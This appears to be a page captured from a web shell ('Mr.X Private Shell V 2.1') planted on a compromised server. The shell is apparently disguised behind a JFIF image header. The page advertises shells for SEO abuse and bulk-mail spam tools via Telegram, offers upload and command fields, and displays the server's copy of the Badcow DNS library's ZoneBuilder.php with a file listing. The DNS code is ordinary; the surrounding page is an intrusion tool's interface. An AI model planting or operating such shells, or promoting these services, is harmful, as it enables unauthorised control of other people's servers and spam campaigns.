����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
<?php

declare(strict_types=1);

/*
 * This file is part of Badcow DNS Library.
 *
 * (c) Samuel Williams <sam@badcow.co>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Badcow\DNS;

use Badcow\DNS\Parser\Tokens;
use Badcow\DNS\Rdata\AAAA;
use Badcow\DNS\Rdata\CNAME;
use Badcow\DNS\Rdata\DNAME;
use Badcow\DNS\Rdata\MX;
use Badcow\DNS\Rdata\NS;
use Badcow\DNS\Rdata\PTR;
use Badcow\DNS\Rdata\RdataInterface;
use Badcow\DNS\Rdata\SOA;
use Badcow\DNS\Rdata\SRV;

class ZoneBuilder
{
    /**
     * Mapping of Rdata types to functions that fill them out.
     *
     * @var callable[]
     */
    private static $rdataFillers = [
        SOA::TYPE => __CLASS__.'::fillOutSoa',
        CNAME::TYPE => __CLASS__.'::fillOutCname',
        DNAME::TYPE => __CLASS__.'::fillOutCname',
        SRV::TYPE => __CLASS__.'::fillOutSrv',
        NS::TYPE => __CLASS__.'::fillOutCname',
        PTR::TYPE => __CLASS__.'::fillOutCname',
        MX::TYPE => __CLASS__.'::fillOutMx',
        AAAA::TYPE => __CLASS__.'::fillOutAaaa',
    ];

    public static function build(Zone $zone): string
    {
        $master = '$ORIGIN '.$zone->getName().Tokens::LINE_FEED;
        if (null !== $zone->getDefaultTtl()) {
            $master .= '$TTL '.$zone->getDefaultTtl().Tokens::LINE_FEED;
        }

        foreach ($zone as $rr) {
            if (null !== $rr->getRdata()) {
                $master .= preg_replace('/\s+/', ' ', trim(sprintf(
                    '%s %s %s %s %s',
                    $rr->getName(),
                    $rr->getTtl(),
                    $rr->getClass(),
                    $rr->getType(),
                    $rr->getRdata()->toText()
                )));
            }

            if (null !== $rr->getComment()) {
                $master .= Tokens::SEMICOLON.Tokens::SPACE.$rr->getComment();
            }

            $master .= Tokens::LINE_FEED;
        }

        return $master;
    }

    /**
     * Fills out all of the data of each resource record. The function will add the parent domain to all non-qualified
     * sub-domains, replace '@' with the zone name, ensure the class and TTL are on each record.
     */
    public static function fillOutZone(Zone $zone): void
    {
        $class = $zone->getClass();

        foreach ($zone as &$rr) {
            $rr->setName(self::fullyQualify($rr->getName(), $zone->getName()));
            $rr->setTtl($rr->getTtl() ?? $zone->getDefaultTtl());
            $rr->setClass($class);
            static::fillOutRdata($rr->getRdata(), $zone);
        }
    }

    /**
     * Add the parent domain to the sub-domain if the sub-domain if it is not fully qualified.
     */
    protected static function fullyQualify(?string $subDomain, string $parent): string
    {
        if ('@' === $subDomain || null === $subDomain) {
            return $parent;
        }

        if ('.' !== substr($subDomain, -1, 1)) {
            return $subDomain.'.'.$parent;
        }

        return $subDomain;
    }

    protected static function fillOutRdata(RdataInterface $rdata, Zone $zone): void
    {
        if (array_key_exists($rdata->getType(), self::$rdataFillers)) {
            call_user_func(self::$rdataFillers[$rdata->getType()], $rdata, $zone);
        }
    }

    protected static function fillOutSoa(SOA $rdata, Zone $zone): void
    {
        $rdata->setMname(self::fullyQualify($rdata->getMname(), $zone->getName()));
        $rdata->setRname(self::fullyQualify($rdata->getRname(), $zone->getName()));
    }

    protected static function fillOutCname(Cname $rdata, Zone $zone): void
    {
        $rdata->setTarget(self::fullyQualify($rdata->getTarget(), $zone->getName()));
    }

    protected static function fillOutSrv(SRV $rdata, Zone $zone): void
    {
        $rdata->setTarget(self::fullyQualify($rdata->getTarget(), $zone->getName()));
    }

    protected static function fillOutMx(MX $rdata, Zone $zone): void
    {
        $rdata->setExchange(self::fullyQualify($rdata->getExchange(), $zone->getName()));
    }

    protected static function fillOutAaaa(AAAA $rdata): void
    {
        $rdata->setAddress(PTR::expandIpv6($rdata->getAddress() ?? ''));
    }
}

Filemanager

Name Type Size Permission Actions
Edns Folder 0755
Parser Folder 0755
Rdata Folder 0755
Algorithms.php File 4.4 KB 0644
AlignedBuilder.php File 7.75 KB 0644
AlignedRdataFormatters.php File 5.66 KB 0644
Classes.php File 1.85 KB 0644
Message.php File 10.45 KB 0644
Opcode.php File 831 B 0644
Question.php File 3.19 KB 0644
Rcode.php File 2.12 KB 0644
ResourceRecord.php File 5.5 KB 0644
UnsetValueException.php File 329 B 0644
Validator.php File 8.4 KB 0644
Zone.php File 4.08 KB 0644
ZoneBuilder.php File 4.14 KB 0644